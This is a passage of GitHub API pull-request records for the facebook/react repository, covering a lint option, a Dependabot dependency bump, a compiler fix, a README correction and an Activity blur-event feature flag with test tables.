'react-hooks/exhaustive-deps': ['warn', { reactCompiler: true }] }`\r\n- In settings: `settings: { reactCompiler: true }`\r\n\r\nWhen enabled, the plugin skips warnings about constructions that invalidate on every render, while still checking for other dependency issues like missing dependencies.\r\n\r\n## How did you test this change?\r\n\r\n- Added test cases for `reactCompiler: true` via rule options\r\n- Added test cases for `reactCompiler: true` via settings\r\n- Verified that with `reactCompiler: true`, unnecessary memoization warnings are suppressed\r\n- Verified that other warnings (e.g., missing dependencies) still work correctly\r\n- Ran `yarn linc` \r\n- Ran `yarn prettier`", "created_at": "2026-01-21T05:12:26Z", "updated_at": "2026-01-29T06:56:03Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "b053e49b2d211c77ba2e193e76850a017974d8b2", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "yunaotsk:my-contribution", "ref": "my-contribution", "sha": "c12694cdbfe87d8fb559aaa7c2f65cf78be23de9", "user": { "login": "yunaotsk", "id": 160295171, "node_id": "U_kgDOCY3pAw", "avatar_url": "https://avatars.githubusercontent.com/u/160295171?v=4", "gravatar_id": "", "url": "https://api.github.com/users/yunaotsk", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1137926263, "node_id": "R_kgDOQ9Ngdw", "name": "react", "full_name": "yunaotsk/react", "private": false, "owner": { "login": "yunaotsk", "id": 160295171, "node_id": "U_kgDOCY3pAw", "avatar_url": "https://avatars.githubusercontent.com/u/160295171?v=4", "gravatar_id": "", "url": "https://api.github.com/users/yunaotsk", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/yunaotsk/react", "created_at": "2026-01-20T02:52:51Z", "updated_at": "2026-01-20T02:52:52Z", "pushed_at": "2026-01-29T06:56:01Z", "homepage": "https://react.dev", "size": 125255, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "230772f99dac80be6dda9c59441fb4928612f18e", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35579" }, "html": { "href": "https://github.com/facebook/react/pull/35579" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35579" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35579/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35579/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35579/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/c12694cdbfe87d8fb559aaa7c2f65cf78be23de9" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35574", "id": 3192362364, "node_id": "PR_kwDOAJy2Ks6-R5V8", "number": 35574, "state": "open", "locked": false, "title": "Bump diff from 4.0.2 to 4.0.4 in /compiler", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [diff](https://github.com/kpdecker/jsdiff) from 4.0.2 to 4.0.4.\n
\nCommits\n\n
\n
\nMaintainer changes\n

This version was pushed to npm by explodingcabbage, a new releaser for diff since your current version.

\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=diff&package-manager=npm_and_yarn&previous-version=4.0.2&new-version=4.0.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
", "created_at": "2026-01-20T18:42:03Z", "updated_at": "2026-01-20T18:42:09Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "7fa8abfd1a8858ac914d4d4c6b2992c8fddf2e03", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/compiler/diff-4.0.4", "ref": "dependabot/npm_and_yarn/compiler/diff-4.0.4", "sha": "18224e0e9d4868ba31b5a489e2dd8b75779ae72e", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "d29087523a09d2babff2ce258f3527944a0ecd2e", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35574" }, "html": { "href": "https://github.com/facebook/react/pull/35574" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35574" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35574/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35574/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35574/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/18224e0e9d4868ba31b5a489e2dd8b75779ae72e" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 6 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35573", "id": 3192339141, "node_id": "PR_kwDOAJy2Ks6-RzrF", "number": 35573, "state": "open", "locked": false, "title": "[compiler] Fix invariant error for optional chaining in try/catch", "user": { "login": "josephsavona", "id": 6425824, "node_id": "MDQ6VXNlcjY0MjU4MjQ=", "avatar_url": "https://avatars.githubusercontent.com/u/6425824?v=4", "gravatar_id": "", "url": "https://api.github.com/users/josephsavona", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\nOptional chaining and other value blocks within try/catch blocks were throwing an Invariant error (\"Unexpected terminal in optional\") instead of the expected Todo error. This caused hard failures instead of graceful bailouts.\n\nThe issue occurred because DropManualMemoization and ValidateExhaustiveDependencies ran before BuildReactiveFunction, and encountered `maybe-throw` terminals in their switch statements without a handler, falling through to the invariant case.\n\nFixed by adding explicit `maybe-throw` cases in both files that throw the proper Todo error with the message \"Support value blocks (conditional, logical, optional chaining, etc) within a try/catch statement\".\n\nAlso renamed the existing bug test to reflect it's now correctly handled:\n- error.bug-invariant-unexpected-terminal-in-optional → error.todo-optional-chaining-within-try-catch\n\nCloses #35570\n\n---\n[//]: # (BEGIN SAPLING FOOTER)\nStack created with [Sapling](https://sapling-scm.com). Best reviewed with [ReviewStack](https://reviewstack.dev/facebook/react/pull/35573).\n* #35607\n* #35298\n* #35596\n* __->__ #35573\n* #35595\n* #35539", "created_at": "2026-01-20T18:34:24Z", "updated_at": "2026-01-23T19:07:58Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "milestone": null, "draft": false, "head": { "label": "facebook:pr35573", "ref": "pr35573", "sha": "e9cca30b184f0d1faac8ee70e75c62886a7fc3ad", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "006ae379727ebceb82d03929222a71104d01135f", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35573" }, "html": { "href": "https://github.com/facebook/react/pull/35573" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35573" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35573/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35573/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35573/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/e9cca30b184f0d1faac8ee70e75c62886a7fc3ad" } }, "author_association": "MEMBER", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3, 35570 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35568", "id": 3189681592, "node_id": "PR_kwDOAJy2Ks6-Hq24", "number": 35568, "state": "open", "locked": false, "title": "Fix outdated documentation: replace 'Gulp plugin' with 'extract-error…", "user": { "login": "bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "…s.js script'\r\n\r\nThe error-codes README incorrectly referenced a 'Gulp plugin' for generating codes.json. This has been updated to accurately reflect that the codes.json file is generated by the extract-errors.js script.\r\n\r\n\r\n\r\n## Summary\r\n\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-20T03:34:30Z", "updated_at": "2026-01-22T00:34:00Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "609ceccb998bb48c604a9fc7c520a5f4b7390a06", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "bodhisilberling:fix/update-error-codes-readme", "ref": "fix/update-error-codes-readme", "sha": "45d4e91509c9de281913dcb8c0cffe252a0204a6", "user": { "login": "bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1137941300, "node_id": "R_kgDOQ9ObNA", "name": "react", "full_name": "bodhisilberling/react", "private": false, "owner": { "login": "bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/bodhisilberling/react", "created_at": "2026-01-20T03:30:18Z", "updated_at": "2026-01-20T03:30:18Z", "pushed_at": "2026-01-25T18:46:41Z", "homepage": "https://react.dev", "size": 125038, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "03ee29da2f3a7dcd1a7a22ed9b4d13eeceb9da57", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35568" }, "html": { "href": "https://github.com/facebook/react/pull/35568" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35568" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35568/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35568/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35568/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/45d4e91509c9de281913dcb8c0cffe252a0204a6" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35562", "id": 3188641541, "node_id": "PR_kwDOAJy2Ks6-Ds8F", "number": 35562, "state": "open", "locked": false, "title": "[internal] add feature flag to fix event handle API in Activity", "user": { "login": "rickhanlonii", "id": 2440089, "node_id": "MDQ6VXNlcjI0NDAwODk=", "avatar_url": "https://avatars.githubusercontent.com/u/2440089?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rickhanlonii", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Noticed this TODO was never implemented, so this implements support for Activity inside the deprecated, never shipping `enableCreateEventHandleAPI` feature used internally until we remove the flag.\r\n\r\nAlso adds a bunch of test for this API with Activity and LegacyHidden, with inline gates for the differences with the flags.\r\n\r\nBelow is the claude summary.\r\n\r\n\r\n
\r\n\r\n# Fix Event Handle API blur events for Activity\r\n\r\n## Problem\r\n\r\nThe `beforeblur` and `afterblur` events from the `createEventHandle` API were not firing when a focused element was hidden using ``. This was because the blur check in `commitBeforeMutationEffectsOnFiber` only handled `SuspenseComponent`, not `OffscreenComponent` (which Activity uses internally).\r\n\r\n## Solution\r\n\r\nAdded a check for `OffscreenComponent` visibility transitions behind a new feature flag `enableEventAPIActivityFix`.\r\n\r\n---\r\n\r\n## Files Modified\r\n\r\n### 1. `packages/react-reconciler/src/ReactFiberCommitWork.js`\r\n\r\nAdded blur event handling for Activity (OffscreenComponent):\r\n\r\n```javascript\r\n// Check if an OffscreenComponent (Activity) is being hidden with focus inside.\r\nif (enableEventAPIActivityFix) {\r\n if (\r\n finishedWork.tag === OffscreenComponent &&\r\n current !== null &&\r\n current.memoizedState === null && // was visible\r\n finishedWork.memoizedState !== null && // now hidden\r\n doesFiberContain(finishedWork, focusedInstanceHandle)\r\n ) {\r\n shouldFireAfterActiveInstanceBlur = true;\r\n beforeActiveInstanceBlur(finishedWork);\r\n }\r\n}\r\n```\r\n\r\n### 2. Feature Flag Files\r\n\r\nAdded `enableEventAPIActivityFix` to all feature flag files:\r\n\r\n| File | Value |\r\n|------|-------|\r\n| `ReactFeatureFlags.js` | `false` (default) |\r\n| `ReactFeatureFlags.www-dynamic.js` | `__VARIANT__` (dynamic) |\r\n| `ReactFeatureFlags.www.js` | imports from dynamic |\r\n| `ReactFeatureFlags.test-renderer.js` | `false` |\r\n| `ReactFeatureFlags.test-renderer.www.js` | `false` |\r\n| `ReactFeatureFlags.test-renderer.native-fb.js` | `false` |\r\n\r\n### 3. `packages/react-dom/src/events/__tests__/DOMPluginEventSystem-test.internal.js`\r\n\r\nAdded **22 new tests** (from 120 → 142 total):\r\n\r\n#### Activity tests (6 tests)\r\n\r\n- `beforeblur and afterblur are called after a focused element is hidden`\r\n- `beforeblur and afterblur are called after a nested focused element is hidden`\r\n- `beforeblur should skip handlers from a hidden subtree after the focused element is hidden via Activity`\r\n\r\n#### LegacyHidden tests (6 tests)\r\n\r\n- `beforeblur and afterblur are not called after a focused element is hidden inside LegacyHidden`\r\n- `beforeblur and afterblur are not called after a nested focused element is hidden inside LegacyHidden`\r\n- `beforeblur is not called after the focused element is hidden inside LegacyHidden`\r\n\r\n#### Nested Activity + LegacyHidden tests (10 tests)\r\n\r\n| Nesting | Scenario | Expected |\r\n|---------|----------|----------|\r\n| `` | Hide outer (Activity) | blur fires |\r\n| `` | Hide inner (LegacyHidden) | no blur |\r\n| `` | Hide both simultaneously | blur fires once |\r\n| `` | Hide LegacyHidden, then Activity | blur on Activity |\r\n| `` | Hide Activity, then LegacyHidden | blur on Activity, no second blur |\r\n| `` | Hide outer (LegacyHidden) | no blur |\r\n| `` | Hide inner (Activity) | blur fires |\r\n| `` | Hide both simultaneously | blur fires once |\r\n| `` | Hide LegacyHidden, then Activity | blur on Activity |\r\n| `` | Hide Activity, then LegacyHidden | blur on Activity, no second blur |\r\n\r\n---\r\n\r\n## Key Design Decisions\r\n\r\n1. **Activity triggers blur, LegacyHidden does not** - LegacyHidden behavior remains unchanged for backwards compatibility\r\n\r\n2. **Inline gate pattern** - Tests use `if(gate('enableEventAPIActivityFix'))` to test both flag states in a single test\r\n\r\n3. **Works with enableViewTransition** - The fix correctly handles the ViewTransition early exit path\r\n\r\n---\r\n\r\n## Test Results\r\n\r\n- ✅ 142 tests pass with `variant=true` (enableEventAPIActivityFix ON)\r\n- ✅ 142 tests pass with `variant=false` (enableEventAPIActivityFix OFF)\r\n- ✅ All tests work correctly with `enableViewTransition=true`\r\n\r\n\r\n
